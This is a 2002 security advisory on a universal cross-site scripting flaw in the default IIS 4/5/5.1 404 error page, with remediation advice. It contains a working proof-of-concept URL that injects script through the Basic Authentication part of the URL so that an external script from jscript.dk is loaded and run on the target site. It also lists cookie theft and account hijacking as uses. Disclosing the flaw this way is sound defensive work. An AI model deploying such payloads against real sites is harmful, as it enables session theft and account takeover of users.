IIS allows universal CrossSiteScripting

Type securityvulns
Reporter Securityvulns
Modified 2002-04-11T00:00:00


Thor Larholm security advisory TL#001

By Thor Larholm, Denmark. 10 April 2002

HTML format: http://jscript.dk/adv/TL001/

Topic: IIS allows universal CrossSiteScripting.

Discovery date: 13 March 2002.

Severity: Medium

Affected applications:

Any IIS installation that hosts the default 404 error pages. This includes:

IIS 4 IIS 5 IIS 5.1


Stealing cookies from any IIS site, cross-domain scripting to any IIS site, hijacking Hotmail and Passport accounts, elevating priveleges through ActiveX components, hijacking the MSN Messenger client, etc.


CrossSiteScripting is a term that describes the injection of script code on foreign sites. A very likely scenario is where a malicious programmer would inject code on e.g. hotmail.com to steal a victims cookies, allowing him/her to hijack the victims email account. The default installation of IIS is suspectible to such a CSS error.


Every time IIS encounters a HTTP 404 errorcode, it will display a "404 not found" page. This HTML file uses scripting to output a link to the SERVER.TLD part of the URL, and by crafting a specially formed URL it is possible to include arbitrary script commands on the 404 page, thereby enabling CrossSiteScripting on any IIS site. If we look at 404.htm we will notice a particular line of code:

document.write( '<A HREF="' + escape(urlresult) + '">' + displayresult + "</a>"); displayResult is derived from the first instance of :// in the URL until the next instance of /. This means that we will have to include our script code before the path part of the URL. To accomplish this we include our script code in the Basic Authentication part of the URL, but we first have to escape any special characters in the code. Any / character will end displayresult prematurely and any spaces will corrupt the DNS lookup, and we therefor replace any space with a TAB (%09) and any / with %5Cx2f (\x2f, as we will dynamically reference an external file).


http://<img%09src=""%09onerror="document.scripts[0].src=%27http%5Cx3a%5Cx2f% 5Cx2fjscript.dk%5Cx2ftest.js%27;">script@YOUR.TLD/SomeNonExistantPath The above will include and execute http://jscript.dk/test.js on YOUR.TLD, provided that YOUR.TLD is served by an IIS installation.


Apply the MS02-018 patch ( http://www.microsoft.com/technet/security/bulletin/MS02-018.asp ), or delete the default 404 errorhandler page. You could also use the opportunity to make yourself a nice custom 404 errorhandler page. End-users can enable the "Show friendly HTTP error messages" option in IE.


I have put together some proof-of-concept examples: - Simple: Lists your cookies in a selection of Microsoft domains. - Advanced: get the cookies from any IIS site. - MSN: Discloses your MSN contactlist.

These can be found at http://jscript.dk/adv/TL001/

Regards Thor Larholm Jubii A/S - Internet Programmer